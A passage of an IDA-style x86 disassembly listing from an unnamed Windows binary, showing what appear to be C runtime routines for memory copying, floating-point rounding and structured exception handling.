		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A970
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB9AC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF84, offset sub_421935
		mov	off_43CF80, eax
		mov	off_43CF88, offset sub_42199B
		mov	off_43CF8C, offset sub_4218DB
		mov	off_43CF90, offset sub_421983
		mov	off_43CF94, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A988
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBA04
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
